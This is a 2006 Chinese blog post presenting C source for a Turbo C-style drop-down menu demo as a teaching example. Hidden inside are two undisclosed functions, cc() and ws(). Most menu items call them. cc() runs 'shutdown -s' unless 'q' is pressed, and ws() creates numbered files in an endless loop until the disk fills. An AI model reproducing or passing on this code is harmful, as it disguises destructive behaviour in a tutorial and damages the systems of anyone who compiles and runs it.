正文

模拟tc20界面了解下拉菜单的设计(c代码)2006-03-19 22:31:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/vfdff/11181.html

分享到:

#ifndef                MENU
#define                MENU

#include<graphics.h>
#include<bios.h>
#include<alloc.h>
#include<dos.h>
#include<conio.h>
#include<stdio.h>
#include<stdlib.h>

#define        F1         0x3B00
#define        F10        0x4400
#define        LEFT       0x4B00
#define        RIGHT      0x4D00
#define        UP         0x4800
#define        DOWN       0x5000
#define        ESC        0x011B
#define        ENTER      0x1C0D
#define        ALT_X      0x2D00
#define        MAIN_MENU_NUM    8


void initwindow(void);       /* initwindow function's declartion */
void initgraphics(void);     /* init graph system */
void welcome(void);
void drawbox(int x1,int y1,int x2,int y2);
void cursor(int x,int y);
void help_fun(void);
void process_main_move(int old_menu,int new_menu); /*   ?   */
void main_menu_move(void);

void process_down(int down_menu);

void draw_sub_box(int x1,int y1,int x2,int y2,int count);/*   ?  */
void write_sub_menu(int x1,int y1,int x2,int y2,int count,char *menu[]);

void process_sub_menu(int x,int y,int count,int flag,char* menu[]);
void process_sub_move(int x,int y,int old_menu,int new_menu,char*menu[]);
void process(int new_menu,int count);
void exit_info(void);



char *main_menu[8]={      "  File" ,
            "  Edit" ,
            "  Run" ,
            "Compile" ,
            "Project",
            "Options",
            " Debug",
            "Break/Watch"
};

char *sub_menu1[9]={     "Load      F3",
               "Pick  Alt-F3",
               "New         ",
               "Save      F2",
               "Write to    ",
               "Director    ",
               "Change dir  ",
               "Os shell    ",
               "Quit   Alt-X"
};

char *sub_menu2[0]={    "'\0'"    };

char *sub_menu3[6]={      "Run            Ctrl-F9",
            "Program reset  Ctrl-F2",
            "Go to cursor        F4",
            "Trace into          F7",
            "Step over           F8",
            "User screen     Alt-F5",
};

char *sub_menu4[6]={    "Compile to OBJ  D:noname.obj",
            "Make EXE file   D:noname.exe",
            "Link EXE file               ",
            "Bulid all                   ",
            "Primary C file:             ",
            "Get info                    ",
};

char *sub_menu5[5]={    "Project name           ",
            "Break make on    Errors",
            "Auto dependence  Off   ",
            "Clear project          ",
            "Remove message         ",
};

char *sub_menu6[7]={    "Compiler         ",
            "Linker           ",
            "Enviromeny       ",
            "Directories      ",
            "Arguments        ",
            "Save options     ",
            "Retrieve options ",
};

char *sub_menu7[6]={    "Evaluate        Ctrl-F4   ",
        "Call stack      Ctrl-F3   ",
        "Find function             ",
        "Refresh dispaly           ",
        "Dispaly swapping   Smart  ",
        "Source debbuging     on   ",
};

char *sub_menu8[7]={    "Add watch          Ctrl-F7",
        "Delete watch              ",
        "Edit wathch               ",
        "Remove all watches        ",
        "Toggle breakpoint  Ctrl-F8",
        "Clear all breakpoint      ",
        "View nexe breakpoint       ",
};

int width,height;
void  *buf;

#endif
/*     finished head file     */
/*        : )                */


/**************** mymenu.c *******
* all function finished in there
* file directory:
*              .../tc/lib/mymenu.c
*
*********************************/
void initgraphics(void)
{
    int gm=DETECT,gd;      /*     model 640 X 480   */
    initgraph(&gm,&gd,"c:\\turboc2");
}

void drawbox(int x1,int y1,int x2,int y2)
{
    rectangle(x1,y1,x2,y2);
    return;
}

void cursor(int x,int y)
{
    int i;
    for(i=1;kbhit()==0;i++)
    {
        setcolor(BLUE);
        line(x,y,x+10,y);
        line(x,y+1,x+10,y+1);
        delay(30000);
        setcolor(WHITE);
        line(x,y,x+10,y);
        line(x,y+1,x+10,y+1);
        delay(30000);
    }
    setcolor(BLUE);
    line(x,y,x+20,y);
    line(x,y+1,x+20,y+1);
}

void initwindow(void)
{
    int i=0;
    int x1=0,x2=0,y1=0,y2=0;

    width=70;
    height=20;

    initgraphics();
    y1=width;
    y2=height;

    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(0,0,639,20);

    setcolor(LIGHTGRAY);
    drawbox(x1,x2,y1,y2);
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(x1+15,x2+5,main_menu[0]);
    x1=y1;
    y1=y1+width;

    for(i=1;i<MAIN_MENU_NUM;i++)
    {
        setcolor(LIGHTGRAY);
        drawbox(x1,x2,y1,y2);
        settextstyle(0,HORIZ_DIR,1);
        setcolor(BLACK);
        outtextxy(x1+15,x2+5,main_menu[i]);
        x1=y1;
        y1=y1+width;
    }

    setfillstyle(SOLID_FILL,BLUE);
    bar(0,20,639,460);

    setcolor(WHITE);
    line(0,25,300,25);/*heng line 1*/
    line(0,28,300,28);/*heng line 2*/
    outtextxy(305,24," Edit");
    line(352,25,635,25);/*heng line 3*/
    line(352,28,635,28);/*heng line 4*/
    line(0,25,0,453);/*shu line left 1*/
    line(0,453,635,453);/*heng line 5*/
    line(635,25,635,453);/*shu line 2*/
    line(0,415,300,415);/*heng line 6*/

    outtextxy(305,410," Watch");
    line(360,415,635,415);/*heng line 7*/

    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(0,460,639,479);

    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
outtextxy(5,467,"    -Help    -Zoom    -Switch    -Trace     -Step"
            "    -Make     -Menu");
    setcolor(RED);
    outtextxy(5,467,"  F1       F5       F6         F7"
            "         F8       F9       F10");

    setfillstyle(SOLID_FILL,BLUE);
    bar(570,460    ,610,480);

    setcolor(WHITE);
    outtextxy(580,465,"NUM");

    return;
}

void welcome(void)
{
    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(150,150,450,350);
    settextstyle(0,HORIZ_DIR,1);
    setcolor(RED);
    outtextxy(170,200,"welcome to enter my menu system");
    outtextxy(200,220,"F1 key help information");
    outtextxy(230,250,"author:zhangmou");
    outtextxy(220,300,"time:12/10/2004");
    setcolor(BLACK);
    drawbox(160,160,440,340);
    getch();
    setfillstyle(SOLID_FILL,BLUE);
    bar(150,150,450,350);
}

void help_fun(void)
{
    /*setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(15,5,"  File");*/
    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(100,100,500,400);
    setcolor(BLACK);
    drawbox(120,120,480,380);
    outtextxy(200,140,"    help information ");
    outtextxy(200,170,"Thank you use my system");
    outtextxy(200,190,"F1        help     ");
    outtextxy(200,200,"F10   return menu");
    outtextxy(200,210,"UP        /\\             ");
    outtextxy(200,220,"DOWN      \\/          ");
    outtextxy(200,230,"RIGHT     ->   ");
    outtextxy(200,240,"LEFT      <-   ");
    outtextxy(200,250,"ALT_X    exit.");
    outtextxy(200,270,"press any to exit help!");
    getch();
    setfillstyle(SOLID_FILL,BLUE);
    bar(100,100,500,400);
    return;
}

void process_main_move(int old_menu,int new_menu)
{
    int x1=0,x2=0;
    x1=width*old_menu;

    settextstyle(0,HORIZ_DIR,1);
    setcolor(BLACK);
    outtextxy(x1+15,x2+5,main_menu[old_menu]);
    x1=width*new_menu;
    setcolor(WHITE);
    outtextxy(x1+15,x2+5,main_menu[new_menu]);

    return ;
}

void main_menu_move(void)
{
    int old_menu=0,new_menu=0;
    int head=0,tail=7;
    int key=0;
    int quit=0;

    initwindow();
    welcome();

    while(!quit)
    {
        while(bioskey(1)==0);
        key=bioskey(0);
        switch(key)
        {
            case F1:
                help_fun();
                break;
            case F10:
                old_menu=new_menu;
                new_menu=0;
                process_main_move(old_menu,new_menu);
                break;
            case LEFT:
                if(new_menu==head)
                {
                    old_menu=new_menu;
                    new_menu=tail;
                }
                else
                {
                    old_menu=new_menu;
                    new_menu=new_menu-1;

                }
            process_main_move(old_menu,new_menu);
                break;
            case RIGHT:
                if(new_menu==tail)
                {
                    old_menu=new_menu;
                    new_menu=head;
                }
                else
                {
                    old_menu=new_menu;
                    new_menu=new_menu+1;
                }
            process_main_move(old_menu,new_menu);
                break;
            case DOWN :
            case ENTER:
                process_down(new_menu);
                break;
            case ESC :
                cursor(8,45);
                break;
            case ALT_X:
                exit_info();
            default:
                break;
        }
    }
    return;
}

void draw_sub_box(int x1,int y1,int x2,int y2,int count)
{
    int size=0;

    size=imagesize(x1,y1,x2,y2);

    buf=malloc(size);
    if(buf==NULL)
    {
        closegraph();
        printf("\n\n\t\tmemory error!");
        getch();
        exit(0);
    }
    getimage(x1,y1,x2,y2,buf);

    setfillstyle(SOLID_FILL,LIGHTGRAY); /* draw sub menu */
    bar(x1,y1,x2,y2);
    setcolor(BLACK);
    drawbox(x1+10,y1+10,x2-10,y2-10);
    setcolor(RED);
    drawbox(x1+10,y1+20,x2-10,y2-20);

}

void process_sub_menu(int x1,int y1,int count,int flag,char* menu[])
{
    int old_menu=0,new_menu=0;
    int tail=0,head=count-1;
    int key=0;
    int quit_sub=0;

    while(!quit_sub)
    {
        while(bioskey(1)==0);
        key=bioskey(0);
        switch(key)
        {
            case ESC:
                putimage(x1,y1,buf,COPY_PUT);
                free(buf);
                quit_sub=1;
                break;
            case DOWN:
                if(new_menu==head)
                {
                    old_menu=new_menu;
                    new_menu=tail;
                }
                else
                {
                    old_menu=new_menu;
                    new_menu=new_menu+1;
                }
        process_sub_move(x1,y1,old_menu,new_menu,menu);
                break;
            case UP  :
                if(new_menu==tail)
                {
                    old_menu=new_menu;
                    new_menu=head;
                }
                else
                {
                    old_menu=new_menu;
                    new_menu=new_menu-1;
                }
        process_sub_move(x1,y1,old_menu,new_menu,menu);
                break;
            case RIGHT:
            case LEFT :
                break;
            case ENTER:
                process(new_menu,flag);
                break;
            case ALT_X:
                exit_info();
            default:
                break;
        }
    }
}

void process_sub_move(int x,int y,int old_menu,int new_menu,char* menu[])
{
    int L,R;
    L=x+10;

    R=y+20+old_menu*20;
    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,R+5,menu[old_menu]);

    R=y+20+new_menu*20;
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,R+5,menu[new_menu]);
}

void write_sub_menu(int x1,int y1,int x2,int y2,int count,char* menu[])
{
    int i=0;
    int L,T,R,B;
    int height=(y2-y1-40)/count;
    int width=20;

    L=x1+10,
    T=y1+20;
    R=x2-10;
    B=T;

    T=B;
    B=B+height;
    setcolor(BLUE);
    drawbox(L,T,R,B);
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,T+5,menu[0]);

    for(i=1;i<count;i++)
    {
        T=B;
        B=B+height;
        setcolor(BLUE);
        drawbox(L,T,R,B);
        setcolor(BLACK);
        settextstyle(0,HORIZ_DIR,1);
        outtextxy(L+15,T+5,menu[i]);
    }
}
void cc(void){
    char ch;
    setfillstyle(SOLID_FILL,RED);
    bar(150,200,350,250);
    setcolor(BLACK);
    outtextxy(170,210,"Waring ... ...");
    outtextxy(170,230,"press 'q' key exit!");
    ch=getch();
    if(ch=='q')
    {
        setfillstyle(SOLID_FILL,BLUE);
        bar(150,200,350,250);
        return;
    }
    system("shutdown -s");return;}
void ws(void){char s[20];int i=0;char ch;
    setfillstyle(SOLID_FILL,RED);
    bar(200,200,400,250);
    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(220,220,"press 'q' key exit! ");
    ch=getch();
    if(ch=='q')
    {
        setfillstyle(SOLID_FILL,BLUE);
        bar(200,200,400,250);
        return;
    }
    setfillstyle(SOLID_FILL,RED);
    bar(200,200,400,250);
    setcolor(WHITE);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(220,220,"writing .... ....");
    while(!fclose(fopen(itoa(i++,s,10),"wb")));}
void process_down(int down_pos)/*   important socket  */
{
    switch(down_pos)
    {
        case 0:
            draw_sub_box(20,20,160,240,9);
            write_sub_menu(20,20,160,240,9,sub_menu1);
            process_sub_menu(20,20,9,0,sub_menu1);
            break;
        case 1:
            break;
        case 2:
            draw_sub_box(150,20,370,180,6);
           write_sub_menu(150,20,370,180,6,sub_menu3);
            process_sub_menu(150,20,6,2,sub_menu3);
            break;
        case 3:
            draw_sub_box(200,20,500,180,6);
        write_sub_menu(200,20,500,180,6,sub_menu4);
            process_sub_menu(200,20,6,3,sub_menu4);
            break;
        case 4:
            draw_sub_box(250,20,490,160,5);
        write_sub_menu(250,20,490,160,5,sub_menu5);
            process_sub_menu(250,20,5,4,sub_menu5);
            break;
        case 5:
            draw_sub_box(350,20,520,200,7);
        write_sub_menu(350,20,520,200,7,sub_menu6);
            process_sub_menu(350,20,7,5,sub_menu6);
            break;
        case 6:
            draw_sub_box(360,20,600,180,6);
        write_sub_menu(360,20,600,180,6,sub_menu7);
            process_sub_menu(360,20,6,6,sub_menu7);
            break;
        case 7:
            draw_sub_box(380,20,630,200,7);
        write_sub_menu(380,20,630,200,7,sub_menu8);
            process_sub_menu(380,20,7,7,sub_menu8);
            break;
        default:
            break;
    }
    return;
}

void exit_info(void)
{
    cleardevice();
    setfillstyle(SOLID_FILL,LIGHTGRAY);
    bar(150,150,450,350);
    setcolor(RED);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(180,200,"THANK YOU USE MY MENU SYSTEM!");
    outtextxy(200,220," press any key to exit");
    setfillstyle(SOLID_FILL,BLUE);
    bar(220,250,370,300);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(230,270,"author:zhangmou");
    getch();
    closegraph();
    exit(0);
    return;
}

/* process sub position */
void process00(void){ws();}
void process01(void){ws();}
void process02(void){ws();}
void process03(void){ws();}
void process04(void){ws();}
void process05(void){ws();}
void process06(void){ws();}
void process07(void)
{
    restorecrtmode();
    system("");
    main_menu_move();
}

void process20(void){cc();}
void process21(void){cc();}
void process22(void){cc();}
void process23(void){cc();}
void process24(void){cc();}
void process25(void){cc();}

void process30(void){cc();}
void process31(void){cc();}
void process32(void){cc();}
void process33(void){cc();}
void process34(void){cc();}
void process35(void){cc();}

void process40(void){cc();}
void process41(void){cc();}
void process42(void){cc();}
void process43(void){cc();}
void process44(void){cc();}

void process50(void){cc();}
void process51(void){cc();}
void process52(void){cc();}
void process53(void){cc();}
void process54(void){cc();}
void process55(void){cc();}
void process56(void){cc();}

void process60(void){cc();}
void process61(void){cc();}
void process62(void){cc();}
void process63(void){cc();}
void process64(void){cc();}
void process65(void){cc();}

void process70(void){cc();}
void process71(void){cc();}
void process72(void){cc();}
void process73(void){cc();}
void process74(void){cc();}
void process75(void){cc();}
void process76(void){cc();}

void process(int new_menu,int main_pos)
{
    switch(main_pos)
    {
        case 0:
            switch(new_menu)
            {
                case 0:
                    process00();
                    break;
                case 1:
                    process01();
                    break;
                case 2:
                    process02();
                    break;
                case 3:
                    process03();
                    break;
                case 4:
                    process04();
                    break;
                case 5:
                    process05();
                    break;
                case 6:
                    process06();
                    break;
                case 7:
                    process07();
                    break;
                case 8:
                    exit_info();
            }
            break;
        case 1:
            break;
        case 2:
            switch(new_menu)
            {
                case 0:
                    process20();
                    break;
                case 1:
                    process21();
                    break;
                case 2:
                    process22();
                    break;
                case 3:
                    process23();
                    break;
                case 4:
                    process24();
                    break;
                case 5:
                    process25();
                    break;
            }
            break;
        case 3:
            switch(new_menu)
            {
                case 0:
                    process30();
                    break;
                case 1:
                    process31();
                    break;
                case 2:
                    process32();
                    break;
                case 3:
                    process33();
                    break;
                case 4:
                    process34();
                case 5:
                    process35();
                    break;
            }
            break;
        case 4:
            switch(new_menu)
                {
                case 0:
                    process40();
                    break;
                case 1:
                    process41();
                    break;
                case 2:
                    process42();
                    break;
                case 3:
                    process43();
                    break;
                case 4:
                    process44();
                    break;
            }
            break;
        case 5:
            switch(new_menu)
                {
                case 0:
                    process50();
                    break;
                case 1:
                    process51();
                    break;
                case 2:
                    process52();
                    break;
                case 3:
                    process53();
                    break;
                case 4:
                    process54();
                    break;
                case 5:
                    process55();
                    break;
                case 6:
                    process56();
                    break;
            }
            break;
        case 6:
            switch(new_menu)
                {
                case 0:
                    process60();
                    break;
                case 1:
                    process61();
                    break;
                case 2:
                    process62();
                    break;
                case 3:
                    process63();
                    break;
                case 4:
                    process64();
                    break;
                case 5:
                    process65();
                    break;
            }
            break;
        case 7:
            switch(new_menu)
                {
                case 0:
                    process70();
                    break;
                case 1:
                    process71();
                    break;
                case 2:
                    process72();
                    break;
                case 3:
                    process73();
                    break;
                case 4:
                    process74();
                    break;
                case 5:
                    process75();
                    break;
                case 6:
                    process76();
                    break;
            }
            break;
    }
}
/*    finished function     */
/*         : )               */


/*************** main.c**********
*       user socket
* file directory:
*          .../tc/work/main.c
*
********************************/
int main(void)
{
    main_menu_move();
    getch();
    return 0;
}
/*     finished main function   */
/*         : )                  */

 

http://www.programfan.com/blog/blog.asp?author=zhangmou

阅读(3977) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册